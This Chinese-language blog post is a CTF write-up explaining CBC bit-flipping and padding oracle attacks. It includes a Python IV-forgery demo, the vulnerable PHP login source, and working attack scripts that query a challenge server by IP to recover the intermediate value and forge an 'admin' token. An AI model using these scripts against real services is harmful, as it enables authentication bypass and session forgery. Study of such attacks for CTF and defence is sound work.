NEKO

Padding Orlace

2018/01/14

参考http://www.blogsir.com.cn/safe/498.html
http://www.freebuf.com/articles/web/15504.html
这个写的好点:http://www.jianshu.com/p/1851f778e579

padding Oracle是用来获取明文的,CBC翻转攻击是用来改变明文的。
2者经常结合起来使用。
如果你知道原来的明文,和现在的密文,iv,并且可以控制现在要解密的密文和iv,就可以任意伪造成你想要的数据,多组也可以。

CBC加密流程图:

CBC解密流程图:

CBC字节翻转攻击原理

现在只看第一个分组:
加密过程:将原明文称为sourceStr,初始IV称为old_IV,sourceStr^old_IV得到middlecipher,middlecipher经分组加密算法(aes,des什么的),得到(第一组)密文。
解密过程:(第一组)密文经分组解密算法得到middlecipher,middlecipher^old_IV得到sourceStr。
正常解密过程里是
sourceStr=middlecipher^old_IV
我们希望通过提交构造的evil_IV得到我们想要的解密明文targetStr,也就是
targetStr=middlecipher^evil_IV
那么得到evil_IV的方式:
evil_IV=middlecipher^targetStr但需要知道middlecipher
(以上都是以第一组为例说明)
中心思想是得到middlecipher,然后就可以构造evil_IV了
现在给出一种方式:evil_IV=old_IV^sourceStr^targetStr知道old_IV和sourceStr自然能求出来middlecipher。
给出这种方式的代码示例:

已知明文,IV可以构造Evil_IV来改变明文(这里只能改变第一个分组):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#python 3
import os
import codecs
from Crypto.Cipher import AES
from Crypto import Random
SECRET_KEY=codecs.encode(os.urandom(8),'hex_codec').upper() #16byte密钥
IV=Random.new().read(16) #16byte初始向量

sourceStr='hello,world'
aes = AES.new(SECRET_KEY,AES.MODE_CBC,IV)
length = 16
count = len(sourceStr)
add = length - (count % length)
sourceStr = sourceStr + (chr(0) * add) #正常情况下这里应该是补\x05 5由16-11得来,但由于我省事不想处理结果后面出现的乱码,就省事改为\x00了
cipher=aes.encrypt(sourceStr)
print("明文为:",sourceStr)
print("秘钥为:",SECRET_KEY)
print("IV为:",IV)
# print("明文序列为:",list(sourceStr))
print("密文为:",aes.encrypt(sourceStr))

old_IVList=[]
sourceStrList=[]
for i in range(0,len(codecs.encode(IV,'hex_codec').decode()),2):
old_IVList.append(int(codecs.encode(IV,'hex_codec').decode()[i:i+2],16))
evil_IVList=old_IVList
for i in list(sourceStr):
sourceStrList.append(ord(i))

evil_IVList[9]=sourceStrList[9]^old_IVList[9]^0 #让第10位消失
evil_IVList[10]=sourceStrList[10]^old_IVList[10]^ord('D') #让解出来的明文第11位为D
evil_IVList[11]=sourceStrList[11]^old_IVList[11]^ord('!') #再加个!
evil_IV=''

for i in evil_IVList:
if len(hex(i)[2:])==1: #为了保证构造出来的IV是16byte,1位的16进制补0变成2位
evil_IV+='0'+hex(i)[2:]
else:
evil_IV += hex(i)[2:]
evil_IV=codecs.decode(evil_IV,'hex_codec') #恶意构造的16byte IV
print("恶意构造出的IV:",evil_IV)
aes = AES.new(SECRET_KEY,AES.MODE_CBC,evil_IV)
dsc=aes.decrypt(cipher).decode()
print("利用恶意构造的IV结出来的明文:",dsc)

#这是在知道明文和IV的情况下并可以提交我们构造的IV的情况下,我们可改变第一个明文分组的值

先不看怎么影响所有明文分组。

padding oracle原理

开头说过padding oracle是用来获取明文的,也就是source_Str,但更准确的说是获取middlecipher的,获取middlecipher之后,如果我们知道初始IV和密文cipher后,不就可以得到明文sourceStr了吗。但获取了middlecipher之后我们不就可以进行CBC字节翻转攻击了吗?是的,是这样的。

CBC加密模式要对明文进行分组(通常为8或16字节,取决于算法,比如AES-128-CBC就是16字节,128bit=16byte),CBC分组遵循PKCS#5标准,填充的字符为余下字节的个数。用8byte分组做例子的话,如下图,但注意正好8byte时,下一个分组要全部填充0x08.

这个padding(填充)模式就是padding oracle攻击的依据。
现在我们有一串密文,提交给服务端,同时可以提交初始IV,一般cookie里会有这个参数,改掉就可以。

padding oracle攻击的另一个依据是可以通过状态码判断我们的输入是怎么个情况(一般ctf源码里面会通过返回”error”等方式给判断条件):

1.如果参数是完全正确的,身份认证成功,返回 HTTP 200 OK,提示认证成功(也就是解密的明文正确)
2.如果参数是可以解密为正确格式的明文的密文(明文 Padding 等正确),但是身份认证失败,返回 HTTP 200 OK,提示认证失败(只有padding格式正确,我们主要利用这一点)
3.如果参数不是可以解密为正确格式的明文的密文(明文的 Padding 错误等),服务器内部抛出异常,返回 HTTP 500 Internal Server Error

下面以第一个分组为例说明
我们遍历初始IV,从”\x00”*16开始:

图里的那个Intermediary Value即之前说的meddlecipher,有了这个在和我们的targetStr异或得到evil_IV,再把这个evil_IV提交上去,就能解密出targetStr。
可以看到图里解密出的明文最后一位是0x3D,不符合padding规则,如果最后一位是0x01的话就是符合padding规则。那我们就把初始IV的最后一个字节增加1位变成0x01,一直遍历到0xff一定有一个可以将解密的明文最后一位变成0x01。

可以看到当IV最后一位是0x3C时,明文最后一位为0x01,符合padding规则,状态码返回200,然后就用0x3c异或0x01得到0x3D,也就是middcipher的最后一个字节。
然后求middlecipher的倒第二个字节,也就是解密出的明文最后两个字节为0x02,0x02的情况,这时候要把IV最后一个的字节更新为0x3D^0x02=0x3F,要不然最后一个字节的解密结果还是0x01。如此往复,
求出完整的meddlecipher,然后就可以构造evil_IV了然后就可以改变第一个分组的明文了。
下面给出一道利用这个思路的题目:
题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');

function show(){
echo '<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Login Form</title>
<link rel="stylesheet" type="text/css" href="css/login.css" />
</head>
<body>
<div class="login">
<h1>后台登录</h1>
<form method="post">
<input type="text" name="username" placeholder="Username" required="required" />
<input type="password" name="password" placeholder="Password" required="required" />
<button type="submit" class="btn btn-primary btn-block btn-large">Login</button>
</form>
</div>
</body>
</html>
';
}

function get_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}

function get(){
global $plain;
$token = get_token();
$c = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $get_token);
$_SESSION['plain'] = base64_encode($c);
setcookie("token", base64_encode($token));
if($plain === 'admin')
{
$_SESSION['isadmin'] = 1;
}
else
{
$_SESSION['isadmin'] = 0;
}
}

function test(){
if (isset($_SESSION['plain'])) {
$c = base64_decode($_SESSION['plain']);
$token = base64_decode($_COOKIE["token"]);
if($dec = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token))
{
if ($dec === 'admin')
{
$_SESSION['isadmin'] = 1;
return 1;
}
}
else
{
die("Error!");
}
}
return 0;
}

if(isset($_POST['username'])&&isset($_POST['password']))
{
$username = $_POST['username'];
$password = $_POST['password'];
if($username === "admin")
{
if ($password === "admin")
{
get();
header('location: ./admin.php');
}
else
{
die('failed');
}
}
else
{
die('failed');
}
}
else
{
if(test())
{
header('location: ./admin.php');
}
else
{
show();
}
}
?>

可以看到是AES-128-CBC加密,即分组为16个字节CBC模式,关键是test()函数,不过要先用get()函数获取下$_SESSION[‘plain’],一般会生成PHPSESSID保存在cookie中。

得到PHPSESSID

利用padding oracle求出middlecipher:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
import requests
url='http://39.106.159.230:50001/'
def check(token):
cookie = {'PHPSESSID': 'desce23m0fah2uuuclnjaaklc5','token':token}
res = requests.Session().post(url,cookies = cookie)
if 'Error' in res.text:
return False
else:
return True

middlecipher = []
def padding_oracle():
IV = [chr(0)] * 16 #初始IV为16个\x00
for i in range(16): #16轮循环,每轮求出middlecipher的一位
for j in range(256): #256循环,遍历IV的第15-i位,找到符合padding规则的IV的第15-i位
IV[15 - i] = chr(j)

token = '' #这4行就是把IV转换为字符串再base64加密,题目要求(注意字符串和byte类型的转换)
for iv in IV:
token += iv
token=base64.b64encode(token.encode('utf-8')).decode()

if check(token): #如果符合规则,算出middlecipher并更新IV
middlecipher.append(j^(i+1))
for t in range(i+1): #更新IV
IV[15-t]=chr(middlecipher[t]^(i+2))
print("middlecipher倒数第%d个值为(10进制ascii):"%(i+1),j^(i+1))
break
print('middlecipher(倒着的):',middlecipher,'长度为',len(middlecipher))
if __name__=='__main__':
padding_oracle()


然而只爆出了middlecipher的后15个字节,所以只能构造evil_IV的后15个字节,evil_IV的第一个字节只有256种可能,遍历去访问网站总有一个有正确的解,这里这里错误的解是不会返回error的,因为我们的targetStr是符合padding规则的,可以选择把256个网页内容打印出来肉眼看,也可以搜索特殊字符串,搜一下’ctf’就出来了。
爆破第一个字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
import requests
url='http://39.106.159.230:50001/'
targetStr = 'admin' + '\x0b' * 11
middlecipher=[78, 1, 95, 114, 2, 10, 58, 47, 19, 3, 28, 52, 79, 45, 2 ,0][::-1]

evil_IV=''
for i in range(1,16):
evil_IV+=chr(ord(targetStr[i])^middlecipher[i])
for i in range(256):
evil_token=chr(i)+evil_IV
evil_token=base64.b64encode(evil_token.encode('utf-8')).decode()
cookie = {'PHPSESSID': 'desce23m0fah2uuuclnjaaklc5', 'token': evil_token}
res = requests.Session().post(url,cookies=cookie)
print(res.text,i)


可以看到在i为73即evil_token第一个字节为chr(73)时,碰撞成功。
但也出现了一些问题,理论上也不会出现error的,但我在pycharm上跑的时候(python3.6):

第128组之后全为error。
在kali上跑的时候(python 2.7):

也出现了error,不过是在248到251组这4个。
(雾)不清楚原因。

以上内容全部针对第一个分组

原文作者: n3k0

发表日期: January 14th 2018, 7:09:10

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. CBC字节翻转攻击原理
    1. 1.1. 已知明文,IV可以构造Evil_IV来改变明文(这里只能改变第一个分组):
  2. 2. padding oracle原理